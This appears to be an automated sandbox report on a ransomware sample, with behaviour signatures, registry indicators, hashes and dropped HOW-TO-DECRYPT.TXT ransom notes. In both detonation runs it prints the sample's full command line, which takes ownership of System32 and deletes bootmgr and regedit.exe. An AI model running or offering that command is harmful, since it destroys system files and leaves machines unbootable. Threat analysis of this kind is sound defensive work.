Analysis Overview
SHA256
369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412
Threat Level: Known bad
The file 369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe was found to be: Known bad.
Malicious Activity Summary
Identifies VirtualBox via ACPI registry values (likely anti-VM)
Renames multiple (196) files with added filename extension
Renames multiple (481) files with added filename extension
Possible privilege escalation attempt
Disables Task Manager via registry modification
Modifies file permissions
Checks computer location settings
Themida packer
Checks BIOS information in registry
Reads user/profile data of web browsers
Checks whether UAC is enabled
Suspicious use of NtSetInformationThreadHideFromDebugger
System Location Discovery: System Language Discovery
Unsigned PE
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-06 02:26
Signatures
Themida packer
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-06 02:26
Reported
2024-11-06 02:28
Platform
win10v2004-20241007-en
Max time kernel
148s
Max time network
153s
Command Line
Signatures
Identifies VirtualBox via ACPI registry values (likely anti-VM)
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ | C:\Users\Admin\AppData\Local\Temp\369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe | N/A |
Renames multiple (481) files with added filename extension
Disables Task Manager via registry modification
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\takeown.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\icacls.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\takeown.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\takeown.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\icacls.exe | N/A |
Checks BIOS information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion | C:\Users\Admin\AppData\Local\Temp\369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion | C:\Users\Admin\AppData\Local\Temp\369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\icacls.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\takeown.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\icacls.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\takeown.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\takeown.exe | N/A |
Reads user/profile data of web browsers
Themida packer
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Checks whether UAC is enabled
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA | C:\Users\Admin\AppData\Local\Temp\369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\takeown.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\icacls.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\takeown.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\icacls.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\takeown.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\SysWOW64\takeown.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\SysWOW64\takeown.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\SysWOW64\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe
"C:\Users\Admin\AppData\Local\Temp\369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && takeown /f C:\Windows\System32\LogonUI.exe && icacls C:\Windows\System32\LogonUI.exe /grant %username%:F && takeown /f C:\bootmgr && icacls C:\bootmgr /grant %username%:F && attrib -s -r -h C:\bootmgr && del C:\bootmgr && takeown /f C:\Windows\regedit.exe && icacls C:\Windows\regedit.exe /grant %username%:F && del C:\Windows\regedit.exe && Exit
C:\Windows\SysWOW64\takeown.exe
takeown /f C:\Windows\System32
C:\Windows\SysWOW64\icacls.exe
icacls C:\Windows\System32 /grant Admin:F
C:\Windows\SysWOW64\takeown.exe
takeown /f C:\Windows\System32\drivers
C:\Windows\SysWOW64\icacls.exe
icacls C:\Windows\System32\drivers /grant Admin:F
C:\Windows\SysWOW64\takeown.exe
takeown /f C:\Windows\System32\LogonUI.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 83.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 150.171.27.10:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 74.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 10.27.171.150.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.163.245.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 11.227.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 205.47.74.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
Files
memory/3940-0-0x0000000000D50000-0x0000000001580000-memory.dmp
memory/3940-1-0x0000000075AE0000-0x0000000075AE1000-memory.dmp
memory/3940-2-0x0000000075AC0000-0x0000000075BB0000-memory.dmp
memory/3940-3-0x0000000075AC0000-0x0000000075BB0000-memory.dmp
memory/3940-6-0x0000000075AC0000-0x0000000075BB0000-memory.dmp
memory/3940-8-0x0000000075AC0000-0x0000000075BB0000-memory.dmp
memory/3940-7-0x0000000075AC0000-0x0000000075BB0000-memory.dmp
memory/3940-5-0x0000000075AC0000-0x0000000075BB0000-memory.dmp
memory/3940-4-0x0000000075AC0000-0x0000000075BB0000-memory.dmp
memory/3940-11-0x0000000000D50000-0x0000000001580000-memory.dmp
memory/3940-12-0x0000000000D50000-0x0000000001580000-memory.dmp
memory/3940-13-0x0000000005CC0000-0x0000000006264000-memory.dmp
memory/3940-14-0x0000000005710000-0x00000000057A2000-memory.dmp
memory/3940-15-0x0000000005690000-0x000000000569A000-memory.dmp
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\HOW-TO-DECRYPT.TXT
| MD5 | f2bbb85d6112bd7360a4ddbc23ea9a8b |
| SHA1 | 683eb7b2b0a5904337f204f71d25c02b9cc5daba |
| SHA256 | be548e310dab08ae249c6d20ba64034d4f3568365d4d31e1f1262abb6c3f33f2 |
| SHA512 | a2bae503e9d18fc9bf1e981d2ec074f389a11e51e385f8701a14bc580c95b6c5f907baf9c7bf55e610d1582951fe7d93121b154fe532df6699389a77fcf6b172 |
memory/3940-79-0x0000000000D50000-0x0000000001580000-memory.dmp
memory/3940-114-0x0000000075AC0000-0x0000000075BB0000-memory.dmp
memory/3940-113-0x0000000075AE0000-0x0000000075AE1000-memory.dmp
memory/3940-193-0x0000000075AC0000-0x0000000075BB0000-memory.dmp
memory/3940-230-0x0000000075AC0000-0x0000000075BB0000-memory.dmp
memory/3940-340-0x0000000075AC0000-0x0000000075BB0000-memory.dmp
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\000003.log
| MD5 | 2caa6f3c95f6ec6bba5b54344938efa0 |
| SHA1 | 2d5637f50e858fbaaeec7853d944dd3c3e91ec39 |
| SHA256 | 16ef853f2adc432c54ad75d0db8169be845065f65b6c5136eaafdcbe698ac1e6 |
| SHA512 | 4141715b1d3a28a5fae1e3a1613cca697d07e24808da2b679abc5235d5a181799f35a0ce090ead8dcc133c3b7b7435b9805a3b9bc5eaca4f7167dab7c93d3e00 |
C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\winword.exe_Rules.xml
| MD5 | 89b6590fcb9080db24875fa671b516ca |
| SHA1 | 20e472ccdba84d504e087418e703073f44c4f2d9 |
| SHA256 | d883bdee08b17e451d3be046fd7cd7b9c816c37f72fa123ca1c13c81e9fcd5ac |
| SHA512 | 3eea6d9796596d9d491b2fa1de794c33bda6447e11c611d769c32da6bd62f25d4b7b13748e70a601ae70f45eb36463d7080e16fcf80571e693109d9395345ee0 |
C:\Users\Admin\AppData\Local\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\Settings\settings.dat
| MD5 | 5090259c42fc6263bc00e952846280e8 |
| SHA1 | 9bf53e854027c9dec3b25ff1164e88872c71f66e |
| SHA256 | a05288aa086504a20d2a3177854f8eb158778756ebc24dcfca266c52fa8d5a17 |
| SHA512 | 8b44fb8fade639c6b4d4b1f8747a8176652700a16b38e43f5f74403c2af0882fb6095986f8e4d94f3d5a242e8d49ed99a03361c01469c8c6a7bf7a7c3527ec7f |
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-06 02:26
Reported
2024-11-06 02:28
Platform
win7-20240903-en
Max time kernel
140s
Max time network
118s
Command Line
Signatures
Identifies VirtualBox via ACPI registry values (likely anti-VM)
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ | C:\Users\Admin\AppData\Local\Temp\369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe | N/A |
Renames multiple (196) files with added filename extension
Disables Task Manager via registry modification
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\takeown.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\icacls.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\takeown.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\takeown.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\icacls.exe | N/A |
Checks BIOS information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion | C:\Users\Admin\AppData\Local\Temp\369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion | C:\Users\Admin\AppData\Local\Temp\369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\takeown.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\takeown.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\icacls.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\takeown.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\icacls.exe | N/A |
Reads user/profile data of web browsers
Themida packer
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Checks whether UAC is enabled
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA | C:\Users\Admin\AppData\Local\Temp\369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\takeown.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\icacls.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\takeown.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\icacls.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\takeown.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\SysWOW64\takeown.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\SysWOW64\takeown.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\SysWOW64\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe
"C:\Users\Admin\AppData\Local\Temp\369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && takeown /f C:\Windows\System32\LogonUI.exe && icacls C:\Windows\System32\LogonUI.exe /grant %username%:F && takeown /f C:\bootmgr && icacls C:\bootmgr /grant %username%:F && attrib -s -r -h C:\bootmgr && del C:\bootmgr && takeown /f C:\Windows\regedit.exe && icacls C:\Windows\regedit.exe /grant %username%:F && del C:\Windows\regedit.exe && Exit
C:\Windows\SysWOW64\takeown.exe
takeown /f C:\Windows\System32
C:\Windows\SysWOW64\icacls.exe
icacls C:\Windows\System32 /grant Admin:F
C:\Windows\SysWOW64\takeown.exe
takeown /f C:\Windows\System32\drivers
C:\Windows\SysWOW64\icacls.exe
icacls C:\Windows\System32\drivers /grant Admin:F
C:\Windows\SysWOW64\takeown.exe
takeown /f C:\Windows\System32\LogonUI.exe
Network
Files
memory/2084-0-0x0000000001120000-0x0000000001950000-memory.dmp
memory/2084-1-0x0000000076084000-0x0000000076085000-memory.dmp
memory/2084-3-0x0000000076070000-0x0000000076180000-memory.dmp
memory/2084-2-0x0000000076070000-0x0000000076180000-memory.dmp
memory/2084-7-0x0000000076070000-0x0000000076180000-memory.dmp
memory/2084-8-0x0000000076070000-0x0000000076180000-memory.dmp
memory/2084-9-0x0000000076070000-0x0000000076180000-memory.dmp
memory/2084-13-0x0000000076070000-0x0000000076180000-memory.dmp
memory/2084-18-0x0000000076070000-0x0000000076180000-memory.dmp
memory/2084-17-0x0000000076070000-0x0000000076180000-memory.dmp
memory/2084-16-0x0000000076070000-0x0000000076180000-memory.dmp
memory/2084-15-0x0000000076070000-0x0000000076180000-memory.dmp
memory/2084-14-0x0000000076070000-0x0000000076180000-memory.dmp
memory/2084-12-0x0000000076070000-0x0000000076180000-memory.dmp
memory/2084-11-0x0000000076070000-0x0000000076180000-memory.dmp
memory/2084-10-0x0000000076070000-0x0000000076180000-memory.dmp
memory/2084-19-0x0000000001120000-0x0000000001950000-memory.dmp
memory/2084-20-0x0000000001120000-0x0000000001950000-memory.dmp
memory/2084-21-0x0000000076070000-0x0000000076180000-memory.dmp
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts\HOW-TO-DECRYPT.TXT
| MD5 | f2bbb85d6112bd7360a4ddbc23ea9a8b |
| SHA1 | 683eb7b2b0a5904337f204f71d25c02b9cc5daba |
| SHA256 | be548e310dab08ae249c6d20ba64034d4f3568365d4d31e1f1262abb6c3f33f2 |
| SHA512 | a2bae503e9d18fc9bf1e981d2ec074f389a11e51e385f8701a14bc580c95b6c5f907baf9c7bf55e610d1582951fe7d93121b154fe532df6699389a77fcf6b172 |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000005.log
| MD5 | 2caa6f3c95f6ec6bba5b54344938efa0 |
| SHA1 | 2d5637f50e858fbaaeec7853d944dd3c3e91ec39 |
| SHA256 | 16ef853f2adc432c54ad75d0db8169be845065f65b6c5136eaafdcbe698ac1e6 |
| SHA512 | 4141715b1d3a28a5fae1e3a1613cca697d07e24808da2b679abc5235d5a181799f35a0ce090ead8dcc133c3b7b7435b9805a3b9bc5eaca4f7167dab7c93d3e00 |
memory/2084-259-0x0000000001120000-0x0000000001950000-memory.dmp
memory/2084-296-0x0000000076084000-0x0000000076085000-memory.dmp
memory/2084-297-0x0000000076070000-0x0000000076180000-memory.dmp
memory/2084-298-0x0000000076070000-0x0000000076180000-memory.dmp
memory/2084-299-0x0000000076070000-0x0000000076180000-memory.dmp
memory/2084-415-0x0000000076070000-0x0000000076180000-memory.dmp